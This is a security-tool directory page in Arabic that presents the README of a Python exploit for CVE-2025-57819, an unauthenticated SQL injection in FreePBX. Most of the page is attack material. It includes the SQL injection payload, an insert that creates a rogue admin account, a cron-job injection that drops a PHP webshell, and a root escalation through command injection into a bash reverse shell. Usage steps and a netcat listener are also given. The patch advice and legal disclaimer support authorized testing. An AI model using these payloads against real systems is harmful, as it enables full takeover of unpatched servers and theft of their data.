Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
FreePBX-SQLi-RCE — إثبات مفهوم بلغة Python يستغل CVE-2025-57819، وهو حقن SQL غير مُصادَق عليه في FreePBX يتسلسل عبر إنشاء حساب مسؤول، ونشر webshell عبر cron، والتصعيد إلى صلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/hexbytee/freepbx-sqli-rce
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHubhexbytee/freepbx-sqli-rce

FreePBX-SQLi-RCE

إثبات مفهوم بلغة Python يستغل CVE-2025-57819، وهو حقن SQL غير مُصادَق عليه في FreePBX يتسلسل عبر إنشاء حساب مسؤول، ونشر webshell عبر cron، والتصعيد إلى صلاحيات الجذر.

عرض المستودع
1منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

FreePBX CVE-2025-57819 - حقن SQL غير مُصادَق عليه يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (PoC)

Python License

للأغراض التعليمية والبحث الأمني فقط - راجع الإشعار القانوني أدناه

إثبات مفهوم للاستغلال (PoC) لثغرة CVE-2025-57819، وهي ثغرة حقن SQL حرجة غير مُصادَق عليها في FreePBX تسمح بتنفيذ تعليمات برمجية عن بُعد. يُنشر هذا الـ PoC بعد إصدار التصحيحات الرسمية لأغراض البحث الأمني والاختبار المُصرَّح به فقط.

نظرة عامة

إصدارات FreePBX 15.x و16.x و17.x (الأقدم من الإصدارات المُصحَّحة) عرضة لثغرة حقن SQL غير مُصادَق عليها في معالج AJAX الخاص بوحدة endpoint. تسمح سلسلة الثغرات هذه بما يلي:

  1. إنشاء حسابات إدارية عبر حقن SQL
  2. نشر webshells عبر حقن مهام cron المُصادَق عليها
  3. التصعيد إلى root (إذا كان incron متاحًا) عبر سلسلة خطافات sysadmin_manager
  4. اختراق كامل للنظام مع الوصول عبر reverse shell

تفاصيل الثغرة

معرّف CVECVE-2025-57819
النوعحقن SQL غير مُصادَق عليه (قائم على الأخطاء)
CVSS9.8 / 10.0 (حرجة)
المتأثرةFreePBX 15 < 15.0.66، 16 < 16.0.89، 17 < 17.0.3
المُصحَّحة15.0.66، 16.0.89، 17.0.3+
CISA KEVنعم (29 أغسطس 2025)

نقطة النهاية المصابة

GET /admin/ajax.php?brand=<PAYLOAD>

تقبل المعلمة brand في معالج AJAX الخاص بوحدة نقطة النهاية إدخال المستخدم دون التحقق منه، مما يؤدي إلى حقن SQL قائم على الأخطاء.


سلسلة الاستغلال

المرحلة 1: حقن SQL وإنشاء حساب المسؤول

تحقق من حقن SQL باستخدام استخراج قائم على الأخطاء عبر EXTRACTVALUE() لتسريب اسم قاعدة البيانات:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

إدراج مستخدم إداري جديد في asterisk.ampusers:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

المرحلة 2: حقن مهمة cron بعد المصادقة

باستخدام بيانات اعتماد مسؤول صالحة، يقوم الاستغلال بالمصادقة إلى FreePBX وإنشاء جلسة موثّقة. تُحفظ ملفات تعريف ارتباط الجلسة وتُستخدم لجميع الطلبات الموثّقة اللاحقة.

حقن أمر webshell في asterisk.cron_jobs:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

يقوم مشغّل cron الخاص بـ FreePBX بتنفيذ الأمر بصفة المستخدم asterisk، مما يُسقط PHP webshell.

المرحلة 3: تفعيل Webshell

يُنشر PHP webshell إلى /var/www/html/shell.php:

<?php system($_GET['cmd']); ?>

يستقصي الـ exploit الـ webshell حتى التفعيل، محققًا RCE بصلاحية مستخدم asterisk (uid=999).

المرحلة 4: تصعيد الصلاحيات (شرطي)

إذا كان incron مُهيأً على الهدف:

  1. أنشئ ملف trigger في /var/spool/asterisk/incron/
  2. يكتشف incrond (العامل بصلاحية root) إنشاء الملف
  3. يستدعي /usr/bin/sysadmin_manager باسم ملف الـ trigger
  4. يتحقق sysadmin_manager من توقيع GPG ويوجّه إلى hook الخاص بـ fwconsole-commands
  5. يفكّ الـ hook ترميز الـ payload وينفّذ: /usr/sbin/fwconsole <COMMAND>
  6. حقن الأوامر: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

النتيجة: shell بصلاحية root على مستمع عكسي (إذا كان incron متاحًا).


ما الذي يستغله

  • غياب التحقق من صحة المدخلات في معامل brand
  • تنفيذ الاستعلامات المتراكمة يسمح بالتلاعب بقاعدة البيانات
  • جدول asterisk.cron_jobs القابل للكتابة ينفّذ الأوامر بصلاحية asterisk
  • استمرارية الجلسة الموثّقة عبر ملفات تعريف الارتباط من حساب admin المُنشأ
  • مراقبة نظام الملفات عبر Incron تعمل بصلاحية root
  • تنفيذ hook الخاص بـ fwconsole دون تحقق مع حقن الأوامر

التثبيت

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

الاستخدام

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

إثبات المفهوم

لقطة شاشة إثبات المفهوم


الإصدارات المتأثرة

الإصدارالحالة
15.0.0 - 15.0.65عرضة للثغرة
15.0.66+مُصحَّح
16.0.0 - 16.0.88عرضة للثغرة
16.0.89+مُصحَّح
17.0.0 - 17.0.2عرضة للثغرة
17.0.3+مُصحَّح

التخفيف

فوري:

  • تقييد الوصول إلى /admin/ajax.php من الشبكات غير الموثوقة
  • تعطيل incron إذا لم يكن مطلوبًا: systemctl disable incrond

دائم: الترقية إلى الإصدارات المُصحَّحة: 15.0.66+ أو 16.0.89+ أو 17.0.3+


المراجع

  • CVE-2025-57819
  • كتالوج CISA KEV
  • استشارة FreePBX الأمنية

إشعار قانوني

⚠️ إخلاء المسؤولية

يُقدَّم إثبات المفهوم هذا حصريًا لأغراض اختبار الأمان المصرَّح به والأغراض التعليمية. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.

يجب عليك الامتثال لما يلي:

  • قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) والقوانين المكافئة في نطاق ولايتك القضائية
  • اختبار الأنظمة التي تملكها أو لديك تصريح كتابي صريح باختبارها فقط
  • الحصول على إذن كتابي قبل أي اختبار أمني
  • ممارسات الإفصاح المسؤولة
  • لوائح الخصوصية وحماية البيانات (GDPR، CCPA، إلخ)

الاستخدامات المحظورة:

  • الوصول غير المصرَّح به إلى أنظمة الحاسوب
  • اختبار الاختراق دون موافقة كتابية
  • تعطيل الخدمات أو سرقة البيانات
  • أي نشاط ضار أو غير قانوني

إخلاء المسؤولية: المؤلف غير مسؤول عن:

  • الوصول غير المصرَّح به أو التهم الجنائية
  • الأضرار التي تلحق بالأنظمة أو فقدان البيانات
  • العواقب القانونية لسوء الاستخدام
  • انتهاكات قوانين الاحتيال الحاسوبي

هذه الثغرة:

  • تم الإفصاح عنها علنًا (CVE-2025-57819)
  • التصحيحات متاحة علنًا
  • نُشرت لأغراض البحث الأمني فقط
  • تمت مشاركتها بمسؤولية بعد إصدار التصحيح

المؤلف

JazzTheRabbit

  • GitHub: @JazzTheRabbit
  • HackTheBox: @JazzTheRabbit
  • YouTube: JazzTheRabbit

الترخيص

MIT License

تنزيل الأداة